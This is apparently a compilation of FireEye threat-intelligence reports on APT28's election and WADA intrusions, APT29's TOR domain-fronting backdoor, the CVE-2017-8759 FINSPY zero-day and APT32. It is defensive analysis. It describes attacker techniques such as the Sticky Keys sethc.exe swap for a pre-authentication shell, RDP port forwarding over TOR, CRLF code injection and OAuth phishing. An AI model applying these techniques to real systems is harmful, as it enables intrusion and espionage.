+and leaked documents taken from the organization
+s network.
+Guccifer 2.0 continued to leak batches of DNC documents
+through September.12,13
+MARCH 
+NOVEMBER 2016
+Investigators found that John Podesta, Hillary
+Clinton
+s presidential campaign chairman, was
+one of thousands of individuals targeted in a
+mass phishing scheme using shortened URLs
+that security researchers attributed to APT28.14
+Throughout October and into early November, WikiLeaks published 34 batches of email correspondence stolen from John
+Podesta
+s personal email account. Correspondence of other
+individuals targeted in the same phishing campaign, including
+former Secretary of State Colin Powell and Clinton campaign
+staffer William Rinehart, were published on the
+DC Leaks
+ website.15
+U.S. Democratic
+Congressional Campaign
+Committee (DCCC)
+MARCH OCTOBER 2016
+In July, the DCCC announced that it was investigating an ongoing 
+cybersecurity incident
+ that
+the FBI believed was linked to the compromise
+of the DNC. House Speaker Nancy Pelosi
+later confirmed that the DCCC had suffered a
+network compromise. Investigators indicated
+that the actors may have gained access to DCCC
+systems as early as March.16,17,18
+In August, the Guccifer 2.0 persona contacted reporters covering U.S. House of Representative races to announce newly
+leaked documents from the DCCC pertaining to Democratic
+candidates. From August to October, Guccifer 2.0 posted several additional installments of what appear to be internal DCCC
+documents on 
+ WordPress site.19,20
+TV5Monde
+FEBRUARY 2015,
+APRIL 2015
+In February, FireEye identified CORESHELL
+traffic beaconing from TV5Monde
+s network,
+confirming that APT28 had compromised TV5Monde
+s network.
+In April 2015, alleged pro-ISIS hacktivist group CyberCaliphate
+defaced TV5Monde
+s websites and social media profiles and
+forced the company
+s 11 broadcast channels offline. FireEye
+identified overlaps between the domain registration details of
+CyberCaliphate
+s website and APT28 infrastructure. 21
+Ukrainian officials revealed that the investigation
+into the compromise of the CEC
+s internal network identified malware traced to APT28. 22
+During the May 2014 Ukrainian presidential election, purported
+pro-Russian hacktivists CyberBerkut conducted a series of malicious activities against the CEC including a system compromise,
+data destruction, a data leak, a distributed denial-of-service
+(DDoS) attack, and an attempted defacement of the CEC website with fake election results. 23
+World Anti-Doping
+Agency (WADA)
+U.S. Democratic National
+Committee (DNC)
+John Podesta
+Ukrainian Central
+Election Commission
+(CEC)
+MAY 2014
+WADA Confirms Attack by Russian Cyber Espionage Group.
+ World Anti-Doping Agency. 13 Sept. 2016. Web. 29 Dec. 2016.
+Fancy Bears
+ HT (fancybears). 
+@AnonPress Greetings. We hacked #WADA. We have Proof of American Athletes taking doping. Fancybear.net.
+ 12 Sept. 2016, 4:12 PM. Tweet.
+CrowdStrike refers to activity corresponding to FireEye
+s APT28 and APT29 as 
+Fancy Bear
+ and 
+Cozy Bear,
+ respectively.
+Nakashima, Ellen. 
+Cyber Researchers Confirm Russian Government Hack of Democratic National Committee.
+ The Washington Post. 20 June 2016. Web. 29 Dec. 2016.
+Rid, Thomas. 
+All Signs Point to Russia Being Behind the DNC Hack.
+ Motherboard, Vice. 25 July 2016. Web. 29 Dec. 2016.
+Bennett, Cory. 
+Guccifer 2.0 Drops More DNC Docs.
+ Politico. 13 Sept. 2016. Web. 2 Jan. 2017. <>
+Perlroth, Nicole. Shear, Michael D. 
+Private Security Group Says Russia was Behind John Podesta
+s Email Hack.
+ The New York Times. 21 Oct. 2016. Web. 2 Jan. 2017.
+Franceschi-Bicchierai, Lorenzo. 
+How Hackers Broke Into John Podesta and Colin Powell
+s Gmail Accounts.
+ 20 Oct. 2016. Web. 2 Jan. 2017.
+Nakashima, Ellen. 
+FBI Probes Suspected Breach of Another Democratic Organization by Russian Hackers.
+ The Washington Post. 29 July 2016. Web. 29 Dec. 2016.
+Pelosi, Nancy. 
+DCCC Cyber Breach.
+ 13 August 2016. Email. U.S. House of Representatives. Washington, DC. Politico. Web. 29 Dec. 2016.
+Lipton, Eric. Shane, Scott. 
+Democratic House Candidates Were Also Targets of Russian Hacking.
+ The New York Times. 13 Dec. 2016. Web. 29 Dec. 2016.
+Ibid.
+SPECIAL REPORT / APT28: AT THE CENTER OF THE STORM
+FROM OLYMPIC SLIGHT TO DATA LEAK:
+Investigating APT28 at the World Anti-Doping Agency
+As news of the DNC breach spread, APT28 was preparing for another set
+of operations: countering the condemnation that Russia was facing after
+doping allegations and a threatened blanket ban of the Russian team
+from the upcoming Rio Games. Russia, like many nations, has long viewed
+success in the Olympic Games as a source of national prestige and soft
+power on the world stage. The doping allegations and prospective ban
+from the Games further ostracized Russia, and likely provided motivation
+to actively counter the allegations by attempting to discredit anti-doping
+agencies and policies. Our investigation of APT28
+s compromise of
+WADA
+s network, and our observations of the surrounding events reveal
+how Russia sought to counteract a damaging narrative and delegitimize
+the institutions leveling criticism.
+ALLEGATIONS OF RUSSIAN ATHLETES
+ WIDESPREAD DOPING
+NOV (2015)
+JULY 18
+AUG 4
+WADA declares the
+Russian Anti-Doping
+Agency (RUSADA) noncompliant. 24
+WADA-commissioned
+report documents
+evidence of Russian
+athletes
+ widespread
+doping. 25
+Russian athletes were
+barred from competing
+in the Olympic Games. 26
+APT28 COMPROMISES WADA
+EARLY AUG
+AUG 10
+AUG 25-SEP 12
+APT28 sends spear
+phishing emails to
+WADA employees. 27
+APT28 uses a legitimate
+user account belonging
+to a Russian athlete to
+log into WADA
+s AntiDoping Administration
+and Management
+System (ADAMS)
+database. 28
+APT28 gains access
+to an International
+Olympic Committee
+account created
+specifically for the 2016
+Olympic Games, and
+views and downloads
+athlete data. 29
+SPECIAL REPORT / APT28: AT THE CENTER OF THE STORM
+FALSE HACKTIVIST PERSONAS CLAIM TO TARGET WADA, LEAK ATHLETE DATA
+AUG 9
+AUG 11
+SEP 12
+SEP 13
+SEP 15-30
+The actor
+@anpoland,
+purporting to
+represent
+Anonymous Poland,
+claims to have
+defaced the
+WADA website. 30
+On August 11
+@anpoland threatens
+to conduct a DDoS
+attack against and
+leak data from WADA,
+but fails to follow
+through on the
+threats. 31,32
+Fancy Bears
+ Hack
+Team
+, a previously
+unknown group
+purporting to
+be affiliated with
+Anonymous, claims
+via Twitter to have
+compromised WADA,
+and directs readers
+to a website hosting
+stolen documents. 33
+WADA releases a
+statement confirming
+the breach and
+attributes the
+compromise and
+theft of athlete
+medical data
+to APT28. 35
+Fancy Bears
+ Hack
+Team
+ releases five
+additional batches
+of medical files for
+high-profile athletes
+from multiple nations,
+including the U.S.,
+which had applied
+for and received
+Therapeutic Use
+Exemptions (TUEs)
+for medications
+otherwise banned
+from competition. 36
+In tweets to
+international
+journalists and
+Twitter accounts
+that disseminate
+hacktivist and
+information security
+news, 
+Fancy Bears
+Hack Team
+ claims
+to have 
+proof of
+American athletes
+taking doping.
+Based on this timeline of leak and threatened leak
+activity, as well as strikingly similar characteristics and
+distribution methods shared between @anpoland and
+Fancy Bears
+ Hack Team,
+ the same operators are highly
+likely behind the two personas. WADA officials, citing
+evidence provided by law enforcement, stated that the
+threat activity originated in Russia, possibly in retaliation
+Claiming to support
+fair play and clean
+sport,
+ Fancy Bears
+Hack team calls TUEs
+licenses for doping.
+for WADA
+s exposure of Russia
+s expansive, state-run
+doping. 38 The statement prompted denials from the
+Russian Government, with Russian sports minister
+Vitaly Mutko asking, 
+How can you prove that the
+hackers are Russian? You blame Russia for everything,
+it is very in fashion now.
+20. Gallagher, Sean. 
+Guccifer 2.0 Posts DCCC Docs, Says They
+re From Clinton Foundation.
+ Ars Technica. 4 Oct. 2016. Web. 3 Jan. 2017.
+21. 
+Russian Hackers Suspected in French TV Cyberattack.
+ Deutsche Welle. 6 Oct. 2015. Web. 29 Dec. 2016.
+22. Joselow, Gabe. 
+Election Cyberattacks: Pro-Russia Hackers Have Been Accused in Past.
+ NBC News. 3 Nov. 2016. Web. 29 Dec. 2016.
+23. Clayton, Mark. 
+Ukraine Election Narrowly Avoided 
+Wanton Destruction
+ From Hackers (+Video).
+ The Christian Science Monitor. 17 June 2014. Web. 2 Jan. 2017.
+24. 
+Foundation Board Media Release: WADA Strengthens Anti-Doping Worldwide.
+ World Anti-Doping Agency. 18 November 2015.
+25. 
+Russia State-Sponsored Doping Across Majority of Olympic Sports, Claims Report.
+ The BBC. 18 July 2016. Web. 29 Dec. 2016.
+26. Macguire, Eoghan. Almasy, Steve. 
+271 Russian Athletes Cleared for Rio Games.
+ CNN. 5 August 2016. Web. 29 Dec. 2016.
+27. 
+Cyber Security Update: WADA
+s Incident Response.
+ World Anti-Doping Agency. 5 Oct. 2016. Web. 3 Jan. 2017.
+28. 
+WADA Confirms Attack by Russian Cyber Espionage Group.
+ World Anti-Doping Agency. 13 Sept. 2016.
+29. 
+WADA Confirms Another Batch of Athlete Data Leaked by Russian Cyber Hackers 
+Fancy Bear.
+ World Anti-Doping Agency. 14 Sept. 2016. Web. 29 Dec. 2016. <>
+30. [OP PL]. 
+www.tas-cas.org.
+ Online video clip. YouTube. YouTube, 9 Aug. 2016. Web. 3 Jan. 2017.
+31. Anonymous Poland (@anpoland). 
+@Cryptomeorg @ben_rumsby @PogoWasRight @Jason_A_Murdock @Cyber_War_News @kevincollier Tomorrow will ddos WADA and publish some secret dosc.
+ 11 Aug 2016 10:10
+AM. Tweet.
+32. Anonymous Poland (@anpoland). 
+@JoeUchill within a few days will be new attack on the WADA/Olimpic.
+ 5 Sept. 2016 5:19 AM. Tweet.
+33. Fancy Bears
+ HT (fancybears). 
+@AnonPress Greetings. We hacked #WADA. We have Proof of American Athletes taking doping. Fancybear.net.
+34. Ibid.
+35. 
+WADA Confirms Attack by Russian Cyber Espionage Group.
+World Anti-Doping Agency.13 Sept. 2016.
+36. Russian Hackers Leak Simone Biles and Serena Williams Files.
+ The BBC. 13 Sept. 2016. Web. 29 Dec. 2016.
+37. Rumsby, Ben. 
+US Superstars Serena and Venus Williams and Simone Biles Given Drugs Exemption, Russian Hackers Reveal.
+ The Telegraph. 14 Sept. 2016. Web. 29 Dec. 2016.
+38. Luhn, Alec.
+Fancy Bears Origins Unclear But Russia Seizes Chance to Put Boot into Wada.
+ 15 Sept. 2016. Web. 29 Dec. 2016.
+39. Gibson, Owen. 
+Russian Sports Minister Vitaly Mutko Denies Link to Wada Hackers.
+ The Guardian. 14 Sept. 2016. Web. 29 Dec. 2016.
+SPECIAL REPORT / APT28: AT THE CENTER OF THE STORM
+CONCLUSION
+Since releasing our 2014 report, we continue to assess that
+APT28 is sponsored by the Russian Government. We further
+assess that APT28 is the group responsible for the network
+compromises of WADA and the DNC and other entities
+related to the 2016 U.S. presidential election cycle. These
+breaches involved the theft of internal data - mostly emails
+ that was later strategically leaked through multiple forums
+and propagated in a calculated manner almost certainly
+intended to advance particular Russian Government aims. In
+a report released on January 7 2017, the U.S. Directorate of
+National Intelligence described this activity as an 
+influence
+campaign.
+This influence campaign - a combination of network
+compromises and subsequent data leaks - aligns closely
+with the Russian military
+s publicly stated intentions and
+capabilities. Influence operations, also frequently called
+information operations,
+ have a long history of inclusion
+in Russian strategic doctrine, and have been intentionally
+developed, deployed, and modernized with the advent of
+the internet. The recent activity in the U.S. is but one of
+many instances of Russian Government influence operations
+conducted in support of strategic political objectives, and it
+will not be the last. As the 2017 elections in Europe approach
+- most notably in Germany, France, and the Netherlands - we
+are already seeing the makings of similarly concerted efforts.
+SPECIAL REPORT / APT28: AT THE CENTER OF THE STORM
+APPENDIX:
+APT28
+s Tools, Tactics, and Operational Changes
+In our 2014 report, we identified APT28 as a suspected Russian
+government-sponsored espionage actor. We came to this conclusion
+in part based on forensic details left in the malware that APT28 had
+employed since at least 2007. We have provided an updated version of
+those conclusions, a layout of the tactics that they generally employ,
+as well as observations of apparent tactical shifts. For full details,
+please reference our 2014 report, APT28: A Window into Russia
+s Cyber
+Espionage Operations?
+APT28 employs a suite of malware with features indicative of the group
+plans for continued operations, as well as the group
+s access to resources
+and skilled developers.
+Key characteristics of APT28
+s toolset include:
+ A flexible, modular framework that has allowed APT28
+to consistently evolve its toolset since at least 2007.
+ Use of a formal coding environment in which to develop
+tools, allowing the group to create and deploy custom
+modules within its backdoors.
+ Incorporation of counter-analysis capabilities including
+runtime checks to identify an analysis environment, obfuscated
+strings unpacked at runtime, and the inclusion of unused
+machine instructions to slow analysis.
+ Code compiled during the normal working day in the Moscow
+time zone and within a Russian language build environment.
+OVER
+APT28
+S MALWARE
+SAMPLES WERE
+COMPILED DURING
+THE WORKING WEEK
+SAMPLES COMPILED
+BETWEEN 8AM AND 6PM
+IN THE TIMEZONE THAT
+INCLUDES MAJOR RUSSIAN
+CITIES SUCH AS MOSCOW
+AND ST. PETERSBURG
+IN ADDITION,
+APT28
+S DEVELOPERS
+CONSISTENTLY BUILT
+MALWARE IN RUSSIAN
+LANGUAGE SETTINGS UNTIL
+2013
+SPECIAL REPORT / APT28: AT THE CENTER OF THE STORM
+APT28
+S MALWARE SUITE
+TOOL
+ROLE
+CHOPSTICK
+backdoor
+Xagent, webhp, SPLM, (.v2 fysbis)
+EVILTOSS
+backdoor
+Sedreco, AZZY, Xagent, ADVSTORESHELL, NETUI
+GAMEFISH
+backdoor
+Sednit, Seduploader, JHUHUGIT, Sofacy
+SOURFACE
+downloader
+Older version of CORESHELL, Sofacy
+OLDBAIT
+credential
+harvester
+Sasfis
+CORESHELL
+downloader
+Newer version of SOURFACE, Sofacy
+APT28
+S OPERATIONAL CHANGES SINCE 2014
+APT28 continues to evolve its toolkit and refine its tactics
+in what is almost certainly an effort to protect its operational
+effectiveness in the face of heightened public exposure and
+scrutiny. In addition to the continued evolution of the group
+first stage tools, we have also noted APT28:
+ Leveraging zero-day vulnerabilities in Adobe Flash Player,
+Java, and Windows, including CVE-2015-1701, CVE-2015-2424,
+CVE-2015-2590, CVE-2015-3043, CVE-2015-5119, and CVE2015-7645.
+ Using a profiling script to deploy zero-days and other
+tools more selectively, decreasing the chance that researchers
+and others will gain access to the group
+s tools.
+ Increasing reliance on public code depositories, such
+as Carberp, PowerShell Empire, P.A.S. webshell, Metasploit
+modules, and others in a likely effort to accelerate their
+development cycle and provide plausible deniability.
+ Obtaining credentials through fabricated Google
+App authorization and Oauth access requests that allow
+the group to bypass two-factor authentication and other
+security measures.
+ Moving laterally through a network relying only
+on legitimate tools that already exist within the victims
+systems, at times forgoing their traditional toolset for the
+duration of the compromise.
+These changes are not only indicative of APT28
+s skills,
+resourcefulness, and desire to maintain operational
+effectiveness, but also highlight the longevity of the
+group
+s mission and its intent to continue its activities
+for the foreseeable future.
+SPECIAL REPORT / APT28: AT THE CENTER OF THE STORM
+APT28 TACTICS
+We have observed APT28 rely on four key tactics when attempting
+to compromise intended targets. These include sending spear-phishing
+emails that either deliver exploit documents that deploy malware onto
+a user
+s systems, or contain a malicious URL designed to harvest the
+recipients
+ email credentials and provide access to the their accounts.
+APT28 has also compromised and placed malware on legitimate websites
+intending to infect site visitors, and has gained access to organizations by
+compromising their web-facing servers
+TAC TI C
+TAC TI C
+INFECTION WITH MALWARE VIA SPEAR PHISH
+WEBMAIL ACCESS VIA SPEAR-PHISH
+Craft exploit document
+with enticing lure content.
+Register a domain spoofing a webmail service
+or an organization
+s webmail portal
+(e.g., 0nedrive-0ffice365[.]com)
+Register a domain spoofing
+that of a legitimate
+organization (e.g.,
+theguardiannews[.]org).
+Send exploit document
+to victim.
+Send link mirroring structure
+of legitimate organization
+site that is designed to
+expire once users clickit.
+Victim opens document,
+and malware is installed by
+exploiting a vulnerability
+Victim goes to link and
+retrieves malicious
+document or is served a
+web-based exploit that
+installs malware.
+(e.g., ARM-NATO_
+ENGLISH_30_NOV_2016.
+doc leveraged an Adobe Flash
+exploit, CVE-2016-7855,
+to install GAMEFISH
+targeted machine).
+(Flash Vulnerability CVE2016-7855 and Windows
+Vulnerability CVE-2016-7255
+were exploited as zero days to
+install malware on victims who
+visited a malicious URL).
+Send email to targets
+instructing them
+to reset their passwords.
+Send email to victims
+warning of security risk
+and asking them to enable
+security service.
+Recipient visits fake login page
+and enters credentials.
+Person is asked to authorize
+application to view mail
+and gives access.
+APT28 uses stolen
+credentials to access
+mailbox and read email.
+APT28 leverages OAuth
+privileges given to malicious
+application to read email.
+APT28 IS IN YOUR NETWORK.
+SPECIAL REPORT / APT28: AT THE CENTER OF THE STORM
+TAC TI C
+TAC TI C
+INFECTION WITH MALWARE VIA STRATEGIC
+WEB COMPROMISE (SWC)
+ACCESS THROUGH INTERNET-FACING SERVERS
+Compromise a legitimate site and set up
+malicious iFrame.
+Network reconnaissance to find vulnerable software.
+Users of the site are redirected using malicious
+iFrame and profiled
+Exploitation of previously known vulnerabilities
+present on unpatched systems.
+(e.g, this technique was used
+to compromise and infect visitors to numerous
+Polish Government websites in 2014).
+Exploit is served to users matching the target profile
+and malware is installed on their system.
+Leverage initial compromise to access other systems
+and move deeper into the victim network.
+APT28 IS IN YOUR NETWORK.
+APT28 IS IN YOUR NETWORK.
+SPECIAL REPORT / APT28: AT THE CENTER OF THE STORM
+To download this or other
+FireEye iSIGHT Intelligence reports,
+visit: www.fireeye.com/reports.html
+FireEye, Inc.
+1440 McCarthy Blvd. Milpitas, CA 95035
+408.321.6300 / 877.FIREEYE (347.3393) / info@FireEye.com
+www.FireEye.com
+ 2016 FireEye, Inc. All rights reserved. FireEye is a registered trademark of FireEye, Inc.
+All other brands, products, or service names are or may be trademarks
+or service marks of their respective owners. GRAF-60.
+APT29 Domain Fronting With TOR
+fireeye.com /blog/threat-research/2017/03/apt29_domain_frontin.html
+Mandiant has observed Russian nation-state attackers APT29 employing domain fronting techniques for stealthy
+backdoor access to victim environments for at least two years. There has been considerable discussion about
+domain fronting following the release of a paper detailing these techniques. Domain fronting provides outbound
+network connections that are indistinguishable from legitimate requests for popular websites.
+APT29 has used The Onion Router (TOR) and the TOR domain fronting plugin meek to create a hidden, encrypted
+network tunnel that appeared to connect to Google services over TLS. This tunnel provided the attacker remote
+access to the host system using the Terminal Services (TS), NetBIOS, and Server Message Block (SMB) services,
+while appearing to be traffic to legitimate websites. The attackers also leveraged a common Windows exploit to
+access a privileged command shell without authenticating.
+We first discussed APT29
+s use of these techniques as part of our 
+No Easy Breach
+ talk at DerbyCon 6.0. For
+additional details on how we first identified this backdoor, and the epic investigation it was part of, see the slides and
+presentation.
+Domain Fronting Overview
+The Onion Router (TOR) is a network of proxy nodes that attempts to provide anonymity to users accessing the
+Internet. TOR transfers internet traffic through a series of proxy points on the Internet, with each node knowing only
+the previous and next node in the path. This proxy network, combined with pervasive encryption, makes tracking the
+source of TOR Internet activity extremely difficult. A TOR client can also use the TOR network to host services that
+are not accessible from the open Internet. These services are commonly used to host 
+dark web
+ sites such as the
+defunct Silk Road.
+Typically network analysts can identify normal TOR traffic through signature analysis or the identification of
+communication with TOR infrastructure. Meek is a publicly available obfuscation plugin for TOR and an
+implementation of the domain fronting technique. To hide TOR traffic, meek takes advantage of the way that Google
+and other Internet content delivery networks (CDNs) route traffic. CDNs often route traffic from IP addresses
+associated with one service to servers associated with another service hosted on the same network. By hosting a
+meek reflection server in one of these CDNs, meek can hide TOR traffic in legitimate HTTPS connections to wellknown services.
+Meek obfuscates traffic in several stages. First, it encodes TOR traffic into HTTP specifying the host name of the
+reflection server (for example, the default server meek-reflect.appspot.com). It then wraps that HTTP traffic in a
+legitimate TLS connection to a server hosted in the same CDN cloud as the reflection server (in this example,
+Google). When the CDN server receives the connection, it decrypts the TLS traffic, identifies the hostname specified
+in the HTTP header and redirects the traffic to the reflection server. The reflection server then reconstructs the
+original TOR traffic from the HTTP stream and sends the traffic to the TOR network, which routes it to its destination.
+This process creates an outbound network connection that appears to contain normal HTTPS POST requests for
+google.com on a Google-owned IP address, while discretely passing the traffic through the reflection server to the
+TOR network. Meek can also use the TLS service and cipher suites used by Firefox to further obfuscate traffic.
+Differentiating this traffic from legitimate connections is extremely difficult, and encryption of both on the initial TLS
+connection and the TOR traffic makes meaningful analysis of the traffic impossible. Note: Google suspended the
+reflection server meek-reflect.appspot.com, but other servers, in the Google cloud or other supported CDNs, can
+fulfill the same function.
+Figure 1 displays the traffic flow when using meek.
+Figure 1: Meek traffic flow
+Backdoor Overview
+Mandiant discovered that APT29 enabled a TOR hidden service that forwarded traffic from the TOR client to local
+ports 139, 445 and 3389 (NetBIOS, SMB and TS, respectively). This provided the attackers full remote access to the
+system from outside of the local network using the hidden TOR (.onion) address of the system.
+The attackers created the following files and directories during the installation and execution of the backdoor:
+C:\Program Files(x86)\Google\googleService.exe
+C:\Program Files(x86)\Google\GoogleUpdate.exe
+C:\Program Files(x86)\Google\core
+C:\Program Files(x86)\Google\data
+C:\Program Files(x86)\Google\data\00
+C:\Program Files(x86)\Google\data\00\hostname
+C:\Program Files(x86)\Google\data\00\private_key
+C:\Program Files(x86)\Google\debug.log
+C:\Program Files(x86)\Google\lock
+C:\Program Files(x86)\Google\cached-certs
+C:\Program Files(x86)\Google\cached-microdescs
+C:\Program Files(x86)\Google\cached-microdescs.new
+C:\Program Files(x86)\Google\cached-microdescs-consensus
+C:\Program Files(x86)\Google\state
+C:\Program Files(x86)\Google\start.ps1
+C:\Program Files(x86)\Google\install.bat
+The file googleService.exe is the primary TOR executable, responsible for establishing and maintaining encrypted
+proxy connections. GoogleUpdate.exe is the meek-client plugin, which obfuscates the TOR connection. These files
+are publicly available and have the following hashes:
+Filename
+SHA256
+googleService.exe
+GoogleUpdate.exe
+fe744a5b2d07de396a8b3fe97155fc64e350b76d88db36c619cd941279987dc5
+2f39dee2ee608e39917cc022d9aae399959e967a2dd70d83b81785a98bd9ed36
+The file C:\Program Files (x86)\Google\core contains configuration information for the TOR service
+googleService.exe. The service was configured to:
+Communicate on ports 1, 80 and 443
+Bridge traffic using the meek plugin to https://meek-reflect.appspot.com and obfuscate HTTPS and DNS
+requests to appear destined for www.google.com
+Forward traffic from ports 62304, 62305 and 62306 to ports 3389, 139 and 445, respectively
+Figure 2 displays the contents of the TOR configuration file core.
+Figure 2: Contents of TOR configuration file 
+C:\Program Files(x86)\Google\core
+The C:\Program Files (x86)\Google\data\00\hostname 
+ file contained a single line with the TOR hostname for the
+system. This hostname was a pseudorandomly-generated 16 character alpha-numeric name, with the top-level
+domain (TLD) .onion.
+The C:\Program Files(x86)\Google\data\00\private_key file contained the TOR client RSA private key. Figure 3
+displays the redacted contents of a sample private_key file.
+Figure 3: Redacted contents of sample private_key
+The attackers used the scripts start.ps1 and install.bat to install the TOR service. After installation, the attackers
+deleted these scripts from the system. Additional files in the directory C:\Program Files(x86)\Google contained
+cached data and logs from the operation of TOR.
+Additional information on increasing visibility into PowerShell activity through enhanced logging is available here.
+Installation and Persistence
+The attacker executed the PowerShell script C:\Program Files(x86)\Google\start.ps1 to install the TOR services and
+implement the 
+Sticky Keys
+ exploit. This script was deleted after execution, and was not recovered.
+By replacing the 
+Sticky Keys
+ binary, C:\Windows\System32\sethc.exe, with the Windows Command Processor
+cmd.exe, the attackers then accessed a privileged Windows console session without authenticating to the system.
+Sticky Keys
+ is an accessibility feature that allows users to activate Windows modifier keys without pressing more
+than one key at a time. Pressing the shift key five times activates 
+Sticky Keys
+ and executes sethc.exe, which,
+when replaced with cmd.exe, opens a System-level command shell. From this shell, the attackers can execute
+arbitrary Windows commands, including adding or modifying accounts on the system, even from the logon screen
+(pre-authentication). By tunneling RDP traffic to the system, the attackers could gain both persistent access and
+privilege escalation using this simple and well-known exploit.
+The installation script start.ps1 created a Windows service named Google Update to maintain persistence after a
+system reboot. Table 1 contains registry details for the 
+Google Update
+ service.
+Table 1: Registry details for the TOR Google Update Windows service
+The script also modified the Terminal Server registry values fSingleSessionPerUser to allow multiple simultaneous
+Windows sessions using the same account, and fDenyTSConnections to allow Terminal Services connections. Table
+2 shows the modified values for these registry keys.
+Table 2: Registry modifications performed by start.ps1
+Conclusion
+APT29 adopted domain fronting long before these techniques were widely known. By employing a publicly available
+implementation, they were able to hide their network traffic, with minimal research or development, and with tools
+that are difficult to attribute. Detecting this activity on the network requires visibility into TLS connections and
+effective network signatures. However, when dealing with advanced threat groups who rapidly develop capabilities
+and invest in hiding network traffic, effective endpoint visibility is vital. Monitoring for potentially interesting events
+and attacker methodologies, like lateral movement and new persistence creation, can allow defenders to identify
+these stealthy methodologies.
+FireEye Uncovers CVE-2017-8759: Zero-Day Used in the
+Wild to Distribute FINSPY
+fireeye.com /blog/threat-research/2017/09/zero-day-used-to-distribute-finspy.html
+FireEye recently detected a malicious Microsoft Office RTF document that leveraged CVE-2017-8759, a SOAP
+WSDL parser code injection vulnerability. This vulnerability allows a malicious actor to inject arbitrary code during
+the parsing of SOAP WSDL definition contents. FireEye analyzed a Microsoft Word document where attackers used
+the arbitrary code injection to download and execute a Visual Basic script that contained PowerShell commands.
+FireEye shared the details of the vulnerability with Microsoft and has been coordinating public disclosure timed with
+the release of a patch to address the vulnerability and security guidance, which can be found here.
+FireEye email, endpoint and network products detected the malicious documents.
+Vulnerability Used to Target Russian Speakers
+The malicious document, 
+.doc
+ (MD5: fe5c4d6bb78e170abf5cf3741868ea4c), might have been used to
+target a Russian speaker. Upon successful exploitation of CVE-2017-8759, the document downloads multiple
+components (details follow), and eventually launches a FINSPY payload (MD5:
+a7b990d5f57b244dd17e9a937a41e7f5).
+FINSPY malware, also reported as FinFisher or WingBird, is available for purchase as part of a 
+lawful intercept
+capability. Based on this and previous use of FINSPY, we assess with moderate confidence that this malicious
+document was used by a nation-state to target a Russian-speaking entity for cyber espionage purposes. Additional
+detections by FireEye
+s Dynamic Threat Intelligence system indicates that related activity, though potentially for a
+different client, might have occurred as early as July 2017.
+CVE-2017-8759 WSDL Parser Code Injection
+A code injection vulnerability exists in the WSDL parser module within the PrintClientProxy method
+(http://referencesource.microsoft.com/ - System.Runtime.Remoting/metadata/wsdlparser.cs,6111). The IsValidUrl
+does not perform correct validation if provided data that contains a CRLF sequence. This allows an attacker to inject
+and execute arbitrary code. A portion of the vulnerable code is shown in Figure 1.
+Figure 1: Vulnerable WSDL Parser
+When multiple address definitions are provided in a SOAP response, the code inserts the
+//base.ConfigureProxy(this.GetType(),
+ string after the first address, commenting out the remaining addresses.
+However, if a CRLF sequence is in the additional addresses, the code following the CRLF will not be commented
+out. Figure 2 shows that due to lack validation of CRLF, a System.Diagnostics.Process.Start method call is injected.
+The generated code will be compiled by csc.exe of .NET framework, and loaded by the Office executables as a
+DLL.
+Figure 2: SOAP definition VS Generated code
+The In-the-Wild Attacks
+The attacks that FireEye observed in the wild leveraged a Rich Text Format (RTF) document, similar to the CVE2017-0199 documents we previously reported on. The malicious sampled contained an embedded SOAP monikers
+to facilitate exploitation (Figure 3).
+Figure 3: SOAP Moniker
+The payload retrieves the malicious SOAP WSDL definition from an attacker-controlled server. The WSDL parser,
+implemented in System.Runtime.Remoting.ni.dll of .NET framework, parses the content and generates a .cs source
+code at the working directory. The csc.exe of .NET framework then compiles the generated source code into a
+library, namely http[url path].dll. Microsoft Office then loads the library, completing the exploitation stage. Figure 4
+shows an example library loaded as a result of exploitation.
+Figure 4: DLL loaded
+Upon successful exploitation, the injected code creates a new process and leverages mshta.exe to retrieve a HTA
+script named 
+word.db
+ from the same server. The HTA script removes the source code, compiled DLL and the PDB
+files from disk and then downloads and executes the FINSPY malware named 
+left.jpg,
+ which in spite of the .jpg
+extension and 
+image/jpeg
+ content-type, is actually an executable. Figure 5 shows the details of the PCAP of this
+malware transfer.
+Figure 5: Live requests
+The malware will be placed at %appdata%\Microsoft\Windows\OfficeUpdte-KB[ 6 random numbers ].exe. Figure 6
+shows the process create chain under Process Monitor.
+Figure 6: Process Created Chain
+The Malware
+The 
+left.jpg
+ (md5: a7b990d5f57b244dd17e9a937a41e7f5) is a variant of FINSPY. It leverages heavily obfuscated
+code that employs a built-in virtual machine 
+ among other anti-analysis techniques 
+ to make reversing more
+difficult. As likely another unique anti-analysis technique, it parses its own full path and searches for the string
+representation of its own MD5 hash. Many resources, such as analysis tools and sandboxes, rename files/samples
+to their MD5 hash in order to ensure unique filenames. This variant runs with a mutex of "WininetStartupMutex0".
+Conclusion
+CVE-2017-8759 is the second zero-day vulnerability used to distribute FINSPY uncovered by FireEye in 2017.
+These exposures demonstrate the significant resources available to 
+lawful intercept
+ companies and their
+customers. Furthermore, FINSPY has been sold to multiple clients, suggesting the vulnerability was being used
+against other targets.
+It is possible that CVE-2017-8759 was being used by additional actors. While we have not found evidence of this,
+the zero day being used to distribute FINSPY in April 2017, CVE-2017-0199 was simultaneously being used by a
+financially motivated actor. If the actors behind FINSPY obtained this vulnerability from the same source used
+previously, it is possible that source sold it to additional actors.
+Acknowledgement
+Thank you to Dhanesh Kizhakkinan, Joseph Reyes, FireEye Labs Team, FireEye FLARE Team and FireEye iSIGHT
+Intelligence for their contributions to this blog. We also thank everyone from the Microsoft Security Response Center
+(MSRC) who worked with us on this issue.
+Cyber Espionage is Alive and Well: APT32 and the Threat to
+Global Corporations
+fireeye.com /blog/threat-research/2017/05/cyber-espionage-apt32.html
+Cyber espionage actors, now designated by FireEye as APT32 (OceanLotus Group), are carrying out intrusions into
+private sector companies across multiple industries and have also targeted foreign governments, dissidents, and
+journalists. FireEye assesses that APT32 leverages a unique suite of fully-featured malware, in conjunction with
+commercially-available tools, to conduct targeted operations that are aligned with Vietnamese state interests.
+APT32 and FireEye
+s Community Response
+In the course of investigations into intrusions at several corporations with business interests in Vietnam, FireEye
+Mandiant incident response consultants uncovered activity and attacker-controlled infrastructure indicative of a
+significant intrusion campaign. In March 2017, in response to active targeting of FireEye clients, the team launched
+a Community Protection Event (CPE) 
+ a coordinated effort between Mandiant incident responders, FireEye as a
+Service (FaaS), FireEye iSight Intelligence, and FireEye product engineering 
+ to protect all clients from APT32
+activity.
+In the following weeks, FireEye released threat intelligence products and updated malware profiles to customers
+while developing new detection techniques for APT32
+s tools and phishing lures. This focused intelligence and
+detection effort led to new external victim identifications as well as providing sufficient technical evidence to link
+twelve prior intrusions, consolidating four previously unrelated clusters of threat actor activity into FireEye
+s newest
+named advanced persistent threat group: APT32.
